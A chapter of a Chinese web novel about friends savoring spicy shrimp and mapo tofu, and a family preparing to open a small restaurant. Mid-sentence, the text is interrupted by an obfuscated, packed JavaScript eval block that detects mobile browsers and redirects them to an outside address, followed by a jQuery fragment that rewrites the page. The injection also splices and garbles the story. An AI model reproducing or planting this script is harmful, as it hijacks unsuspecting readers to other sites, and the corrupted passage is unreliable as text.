“居然还把虾头虾头去掉，好讲究啊。”宋羽惊喜地拿起筷子，她先夹起一只虾。 香辣虾是裹着淀粉炸过，再跟一大把干辣椒还有藤椒一起爆炒。 虾肉个头均匀，通体金红，吃起来酥脆香口，油而不腻，刚入口的时候比较明显的是油炸的香味，下一秒，那种辣椒带来的酥麻香就冲了上来。 宋羽被刺激得舌根一紧，用力地咬下去，内里的虾肉新鲜弹牙，鲜香麻辣的滋味一层接着一层在嘴里泛开，等吞下去后，舌头上还残留着那股香味。 宋羽被辣得舌尖一麻，爽得眯起眼，她又拿起雪碧喝一口：“还好买雪碧了。” 大夏天的，吃这种带劲的辣菜，就是得配上冰凉的雪碧一起喝这才过瘾啊。 “好吃吧。”宋羽扭头去问孟春晓。 孟春晓此时正在吃虾，她都不舍得大口吃，就小口小口，一只虾能吃四五口。 她疯狂点头：“好好吃，没想到盒饭里面居然还能有虾。” 而且还做得那么好吃，果然贵有贵的道理。 从小到大，她也只吃过两三次虾吧，而且一般只能分到三个这个样子，但现在盒饭里的虾全都是她的。 孟春晓有种前所未有的满足感，同时也有点小内疚，莫名有种对不起家里人的感觉。 不过饭菜实在是太香了，内疚还没来得及发酵扩散，就又被一口虾压了回去。 “我们工厂对面还有一家快餐店，有时候也有虾，但是一般般，特别油，不像这个那么好吃。” 盒饭送的筷子都挺好用的，但勺子不太行，有点软，干饭不利索。 所以宋羽还自己准备了勺子。 被切成小方块的豆腐泡在红亮亮的麻辣汤汁里，上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698785|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面撒着碧绿的葱花，这卖相完全可以打满分。 她舀起一勺放在米饭上，跟着米饭一起吃，颤巍滑嫩的豆腐用舌头一抿就化开，在唇齿之间和米饭嚼混，咸香麻辣的滋味刺激的人胃口大开。 太香了！ 宋羽一脸满足，怎么哪道菜都那么下饭啊！ - 小院里。 今天要刷墙。 “发什么呆啊？”孙天宝看着在傻乐的毛仔。 毛仔回过神，吧砸了一下嘴巴：“我在想今天中午的香辣虾呢。” 他们中午饭吃的跟盒饭里的菜一样，直接用一个大盆装一大碗米饭，再来一勺浓到发亮的麻婆豆腐。 叶大翔准备给他分香辣虾的时候，毛仔身体一偏：“等等翔哥，我想先拌一拌。” 他快速地将大碗里的麻婆豆腐还有米饭拌在一起。 “就你事多。”叶大翔虽然有点嫌弃，但还是等毛仔拌好米饭，再分给他满满一勺香辣虾。 毛仔蹲在旁边大口大口地吃起来。 虾是叶大翔处理的，豆腐是叶大翔切。 但炒的时候是叶从溪上头。 麻婆豆腐是爆炒收汁的，用大火将锅里的汤汁逼出火气，但又保持在一个完全没有糊味的状态。 简直要把毛仔好吃到哭了：“溪姐太牛了。” 毛仔吃完后还主动清理厨房，因为锅上还沾有香气，他洗的时候可以多闻一会儿。 第二天。 叶从溪混了点饺子馅，让她爸妈包饺子，上锅一蒸熟，就当今天的早餐了。 剩下装在袋子里，叶从溪把喝完的牛奶片放到外面墙上的牛奶箱上，跟着叶大翔下了楼，骑着自行车去批发市场采购。 这里买锅，那里买碗……这一趟下来买了不少东西。 自行车肯定是拉不回来的，所以喊了一台三轮车帮忙运。 他们到小院的时候，电线工也到了，排线布局忙活完就到下午。 托了刘大爷的关系，营业执照下来得也很快。 刘大爷语气有些幽怨：“你们这几天没摆盒饭，我吃什么都不香了，之前答应做一个月我能吃的菜，这几天可不能算在内。” 叶从溪让他放心：“开业那天您就直接到店里去吧，保证都是您能吃的菜。” 刘大爷好奇：“你打算做啥啊？给我透个风声。辣的吗？” 这没什么好瞒的，叶从溪说：“凉拌卤菜，可以选辣的，也可以选不辣的。” “那我要辣的。”刘大爷背着手，心满意足地回去了。 开业前一天。 因为资金有限，就找人用红纸写了店名。 写有叶氏饭馆四个大字的红纸往墙上一贴就当招牌了 晚上把碗筷都提前洗好，一大早，叶从溪就带着叶大翔去菜市场采购了。 因为孙天宝现在没活干，所以也来帮忙。 他蹲在后院洗海带，刷着刷着，心里有点忐忑地问旁边在削土豆的叶大翔：“翔哥，你紧张吗？” “紧张啥？” “会不会担心没生意……翔哥，我不是咒你的意思，主要就是担心……小溪这手艺确实好，但别人怎么就知道她手艺好，然后来我们店里吃呢？”